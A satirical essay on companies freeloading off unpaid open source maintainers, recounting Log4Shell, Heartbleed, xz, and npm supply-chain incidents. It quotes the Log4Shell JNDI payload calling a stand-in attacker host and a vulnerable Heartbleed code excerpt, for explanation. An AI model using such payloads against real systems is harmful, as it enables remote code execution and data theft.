IT EN

The Freeloader's Handbook: open source as seen by the people who maintain it (for free)

You're one person with an inbox and a library downloaded forty million times a week. On Monday it was chalk and debug's turn. Tonight you get the handbook companies use to exploit your work: seven rules, all field-tested.

Cover shaped like a till receipt: Open Source Market, openssl, log4j, xz, curl, ffmpeg, chalk and debug at 0.00, total zero and a pink NOT PAID stamp

Monday, 8 September, evening. Dinner is on your plate and your phone is in your hand, and you can't stop scrolling. Early this afternoon someone published poisoned versions of chalk and debug to npm: one library colours text in the terminal, the other prints log messages. Together with the other compromised packages they add up to more than two billion downloads a week. Behind them was one person with an inbox. A single phishing email was enough.

The reason your dinner is going cold is that you, too, are one person with an inbox. In 2014, on a late regional train, you wrote gnocco: three hundred lines of JavaScript that understand human dates like "next Monday" or "end of the month". You published it for fun. Today half the ecosystem installs it without knowing: it comes in as a dependency of a dependency of a famous framework, forty million downloads a week. On GitHub Sponsors you have three supporters, for a total of 11 dollars a month. One of them is your mum.

Around ten, an email arrives from a former colleague who now works at Dr Brambilla's company, the one where every meeting needs subtitles. Attached is a PDF titled Guidelines for the use of open source software — confidential, with a single line of comment: "They're talking about you."

You open it. On the cover, under the official title, someone has handwritten the real one: The Freeloader's Handbook. Seven rules. Page after page you realise they aren't theory: each one has already been field-tested, and the field tests have names you know all too well.

Rule 1 — Don't know what you use

"The department is not required to inventory third-party open source components. What is not inventoried creates no obligations."

That's why nobody has ever written to thank you: they don't know they use you. The only one who knows is the lady from Treviso who, last month, found your name on the licence screen of her car's navigation system and asked you why the Bluetooth won't pair. Daniel Stenberg, the author of curl, has been getting this for years: the curl author's email address appears in the licence notes of billions of devices, and people write in about cars, TVs and stolen Instagram accounts.

And yet ten seconds would do. If anyone at Brambilla's company ran these commands on their own project, they'd find you straight away:

# how many dependencies does the project really have, transitive ones included?
$ npm ls --all --parseable | sort -u | wc -l

# who is pulling in gnocco?
$ npm ls gnocco

# same exercise in Python, Rust and Go
$ pipdeptree --warn silence | wc -l
$ cargo tree --prefix none | sort -u | wc -l
$ go list -m all | wc -l

The number is always higher than the one their CTO would say out loud, usually by one or two orders of magnitude. A web app declares twenty-odd dependencies in package.json and installs a few hundred. The formal inventory, the SBOM (Software Bill of Materials), takes one command:

$ syft dir:. -o cyclonedx-json > sbom.json
$ jq -r '.components[] | "\(.name)@\(.version)"' sbom.json | grep gnocco

The handbook is clear, though: an SBOM is generated only when a customer asks for one, and then filed in a compliance/ folder that nobody opens. In there, on line 612, is you.

Rule 2 — Treat the volunteer like a vendor with an SLA

"In the event of a vulnerability, the open source vendor must be chased with formal requests and tight deadlines."

The vendor would be you. You have no contract, no SLA, and the MIT licence you picked says, word for word, that the software is provided "AS IS", without warranty of any kind. But you already know how this goes, because two years ago, when someone found a bug in the parsing of "the day after tomorrow", you got an email from an address at Brambilla's company: "Dear vendor, please provide within 24 hours an impact assessment and a release date for the fix." It was Saturday. You were at a wedding.

You aren't the first. December 2021, Log4Shell (CVE-2021-44228, CVSS 10). Log4j 2 evaluated lookups even inside the messages being logged, so all it took was getting a string like this into the logs, in a User-Agent, a username field or the name of an iPhone, for the server to download and run a remote Java class via JNDI:

${jndi:ldap://attacker.example/a}

Half the planet was vulnerable. The Log4j maintainers, volunteers, spent weeks shipping patch after patch (2.15.0, 2.16.0, 2.17.0, because the first fixes weren't enough), while companies with billions in revenue, which until the day before didn't know they used Log4j, complained about the speed.

In January 2022 Stenberg received an email from a Fortune 500 company demanding, within 24 hours, a list of answers about curl's exposure to Log4j. curl is written in C, doesn't use Java, and that company had no contract with the project. Stenberg published the email and replied that he'd gladly answer, under a support contract. There's no sign they ever signed one.

And in April 2024 the story emerged of a Microsoft Teams engineer who had opened a ticket on FFmpeg's bug tracker, marked high priority, about a problem in their product. When the developers suggested a support contract, the offer arrived: a one-off payment of a few thousand dollars. Teams has hundreds of millions of users. FFmpeg decodes a good share of the videos you've watched today.

Rule 3 — Keep the value, leave them the risk

"Value generated by open source components shall be booked as internal efficiency. Risks remain with the community."

Do the maths with your 11 dollars a month. At Harvard they did it at scale (Hoffmann, Nagle and Zhou, The Value of Open Source Software, 2024): rewriting the most widely used open source from scratch would cost about 4.15 billion dollars, but the value it generates for its users is estimated at 8.8 trillion. Without it, companies would spend roughly 3.5 times more on software. And 96% of that value comes from the work of 5% of the developers. You're in that 5%. According to Tidelift's surveys, six maintainers out of ten are like you: not paid at all.

The textbook case is Heartbleed (CVE-2014-0160). The TLS heartbeat extension works like a ping: the client sends a payload and states its length, the server echoes it back. OpenSSL trusted the stated length:

/* simplified from ssl/t1_lib.c, OpenSSL 1.0.1 */
n2s(p, payload);          /* length claimed by the client: up to 65535 */
pl = p;                   /* the real payload may be 1 byte */
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
memcpy(bp, pl, payload);  /* copies up to 64 KB of server heap */

An attacker could read up to 64 KB of memory per request, over and over, leaving no trace in the logs: private keys, session cookies, passwords. A huge share of the world's HTTPS servers ran OpenSSL. The project was receiving about 2,000 dollars a year in donations and had one full-time developer. Steve Marquess, who handled its finances, wrote that the mystery wasn't that a few overworked volunteers had missed the bug, but that it didn't happen more often.

After Heartbleed, the big names put money into the Linux Foundation's Core Infrastructure Initiative. The textbook detail is the when: after. The freeloader doesn't pay for bridge maintenance. They pay for the funeral, and write a press release about it.

Rule 4 — If the maintainer is tired, let a stranger help

"It is not the department's responsibility to verify who maintains the components in use."

This page makes you shiver, because you know tiredness. Issues pile up, you answer them late at night, and for a few months now there's been a lovely contributor, kind-dev-93, who fixes the tests, answers issues for you and every now and then offers: "If you like, I can help you with releases." Meanwhile two accounts you've never seen before comment that the project is dead and you should hand it over. Maybe it's all in good faith. Maybe not. The problem is that you have no way of knowing.

Lasse Collin, sole maintainer of xz-utils, the compression library that ends up in every Linux distribution, wrote on the mailing list in 2022 about having little time, partly because of long-term mental health issues. Meanwhile a few unknown accounts (Jigar Kumar, Dennis Ens) kept pushing: patches are slow, the project is dead, hand over control. And who offered to help? A tireless contributor, Jia Tan, who within a couple of years became co-maintainer.

In early 2024 Jia Tan released xz 5.6.0 and 5.6.1 with a backdoor built with a watchmaker's patience:

  • the malicious code wasn't in the git repository, only in the release tarballs, inside a modified m4/build-to-host.m4: the kind of generated file nobody ever reads;
  • the payload sat in two binary "test" files, bad-3-corrupt_lzma2.xz and good-large_compressed.lzma, which were extracted and decoded during the build only on x86-64 with glibc, and only when building a deb or rpm package;
  • at runtime, a glibc IFUNC resolver hooked RSA_public_decrypt inside sshd, and whoever held a specific Ed448 key could run commands on the server before authentication.

But sshd doesn't use liblzma, you say. Exactly: Debian and Fedora patch OpenSSH to notify systemd with sd_notify(), and they do it by linking libsystemd, which drags in liblzma. The check everybody ran that weekend:

$ ldd /usr/sbin/sshd | grep -E 'liblzma|libsystemd'
$ xz --version    # 5.6.0 or 5.6.1? upgrade, now

It wasn't found by a process, an audit, or a six-figure supply chain security tool. Andres Freund, a PostgreSQL developer at Microsoft, was benchmarking on Debian unstable and noticed SSH logins were using too much CPU, about half a second more, while valgrind reported odd errors. Freund pulled the thread. It was 29 March 2024, and those versions were about to land in half the world's stable releases. That day, the security of the internet depended on one person being fussy about microbenchmarks.

There was a precedent: in 2018 the maintainer of event-stream, worn out, handed the npm package to a stranger who had offered to help. The newcomer added a dependency, flatmap-stream, that tried to steal bitcoin from users of the Copay wallet. You put the PDF down for a moment and go and check how long kind-dev-93 has existed on GitHub.

Rule 5 — The maintainer's security is the maintainer's problem

"Account security measures of external maintainers are outside the corporate perimeter."

You go back to this morning's email, the one you archived without opening because you were on a train with no signal. Sender: support@npmjs.help. Subject: update your 2FA settings or your account will be locked. It's the same one Josh Junon (qix) received; he maintains chalk, debug, ansi-styles, strip-ansi and a handful of other bricks of the ecosystem. Recently registered domain, graphics identical to the real thing. The phishing page proxied the real npm and collected username, password and TOTP code. Shortly afterwards the attackers were publishing new versions of those packages.

The payload didn't need a postinstall script. It travelled inside the library code and activated in the browser, in the bundles of any site that included it. It hooked fetch, XMLHttpRequest and wallet APIs (window.ethereum), and swapped cryptocurrency addresses for attacker addresses chosen to look as close as possible to the original, with minimal Levenshtein distance, so they'd pass a glance.

The malicious versions stayed up for a couple of hours, thanks to the researchers who flagged them and to qix, who owned up immediately. The loot, according to the first on-chain analyses, is almost comical. But the loot isn't the point: the security of two billion weekly downloads was the attention of one person in front of their inbox, on an ordinary morning. Today it was qix. It could have been your morning.

Two weeks ago, with nx, it went even worse: malicious versions with a postinstall script that stole GitHub and npm tokens, SSH keys and wallets, and even used the AI assistant CLIs installed on the machine to help hunt for secrets in the filesystem. The loot ended up in public repositories on the victim's own GitHub account.

You already know what company blogs will say tomorrow: "Maintainers should use hardware keys." Fair enough. A FIDO2 key resists phishing because it signs the challenge bound to the domain, and on npmjs.help it wouldn't have worked. It costs about fifty euros, out of your own pocket. npm has just made trusted publishing via OIDC available, which removes long-lived publish tokens: but it means redoing your release pipeline. Guess on whose time.

Rule 6 — If the maintainer rebels, fork

"In the event of uncooperative conduct by the maintainer, consider forking the component."

For a moment, you admit, you thought about it: a README saying "From today, commercial use requires payment". Then you remember how it went for the others.

left-pad, 2016: eleven lines of JavaScript to pad a string on the left. Its author, after a dispute over the name of another package, pulled every one of their modules from npm, and for a few hours half the ecosystem, Babel and React included, stopped building. npm responded by changing the rules: since then you can't unpublish a package others depend on. The code is yours, but you can't take it back.

Marak Squires, author of colors and faker, wrote in 2020: "No more free work from Marak. Pay me or fork this". The answer was a shrug. In January 2022 a new version of colors appeared that went into an infinite loop printing "LIBERTY LIBERTY LIBERTY" in zalgo text, breaking thousands of builds. The industry's reaction: outrage, a suspended GitHub account, articles about supply chain risk. Nobody asked why a library downloaded tens of millions of times a week didn't have a single paying supporter.

When the rebel is a company, the pattern gets more elegant. Elastic in 2021, HashiCorp in 2023 and Redis in 2024 changed licence to stop their software being resold as a service without contributing back. The response: forks within weeks. OpenSearch (AWS), OpenTofu (a coalition of companies that lived off Terraform), Valkey (Linux Foundation, with AWS, Google and Oracle among its backers). Those who couldn't find the budget to support the original project found, within a month, the engineers to maintain a copy. Paying, no; owning, yes. Elastic in 2024 and Redis this year added the AGPL to their licence options, but the forks remain. (That the relicensers were innocent victims is another fairy tale. But this is a handbook for freeloaders, not a hagiography.)

Rule 7 — Declare your love for open source in public

"The communications department is authorised to showcase the company's commitment to open source."

Your personal Gitea, where you keep the gnocco docs, has been going down every other day since March. Those aren't users: they're AI companies' crawlers downloading every commit, every blame and every diff, ignoring robots.txt and rotating residential IP addresses. It happened to SourceHut, GNOME, KDE and others, with infrastructure paid for by donations, and in March Drew DeVault titled a post "Please stop externalizing your costs directly into my face". GNOME put Anubis in front of its GitLab, a proof-of-work challenge that makes the browser compute SHA-256 hashes before serving the page. You did the same, a whole Sunday of configuration. Open source defending itself from its own users with cryptography.

Then there are the AI-generated security reports: long, convincing, full of functions that don't exist in your code. Each one has to be read, reproduced and dismantled. In May Stenberg announced that curl instantly bans anyone who sends them without verifying. And in October, right on time, Hacktoberfest will come round: in 2020 it gave a T-shirt to anyone who opened four pull requests, and maintainers were buried in PRs adding a space to the README, to the point that the event became opt-in halfway through.

Meanwhile, on a conference stage, the slide from Brambilla's company says We ❤️ Open Source. Your Sponsors counter says 11.

The last page

At the end of the PDF there's a page that doesn't fit with the rest. It's a scan of a handwritten sheet, in different handwriting. Someone inside Brambilla's company had tried before you. The heading is How to quit.

  • Find out who's asking for money. npm fund lists the funding links declared by your dependencies, grouped by package. The funding.json format, introduced in 2024 by FLOSS/fund, does the same for any language. Services like thanks.dev start from your dependency tree and spread a fixed amount across every project, transitive ones included.
  • Pick a number. The Open Source Pledge suggests at least 2,000 dollars a year per developer on staff. For a team of fifty that's 100,000 dollars: less than one senior salary in many cities, to secure the foundations of everything else.
  • Pay in time, not just money. Send patches upstream instead of keeping private forks, which you'll pay for anyway at every rebase. Give your developers a few hours a week for review, triage and releases of the projects you depend on. If a library is critical to the business, hire the person who maintains it: it's the cheapest support contract you'll ever find.
  • Buy the keys. Literally. A hardware key for every maintainer of your critical dependencies costs less than the company Christmas dinner.
  • Read the Cyber Resilience Act. The EU regulation, in force since 2024 and fully applicable from December 2027, makes manufacturers responsible for the security of the components they integrate, open source included, while going easy on non-commercial projects and the foundations that steward them. The risk dumped on volunteers is about to come home. Germany, through the Sovereign Tech Agency, has been funding open source infrastructure directly since 2022: public money got there before the money of those who profit from it.

Underneath, one line in block capitals: Proposal rejected. Reason: not in the budget.

Midnight

You close the PDF. There's an xkcd comic, number 2347, that shows all of modern digital infrastructure as a tower of blocks balanced on one tiny block, maintained since 2003 by some random person in Nebraska, thanklessly. You've shared it too, laughing. Tonight you laugh less.

Before going to bed you do three things. You add a "funding" field to package.json and a .github/FUNDING.yml file, so at least your name will show up when someone runs npm fund. You order a FIDO2 key, with your own money. And you reply to the email from two years ago, the wedding one, attaching a quote for a support contract.

The answer arrives the next morning, signed by Dr Brambilla himself: "Thank you. Is there an enterprise version of gnocco?"

There is. It's the one where somebody pays.

Sources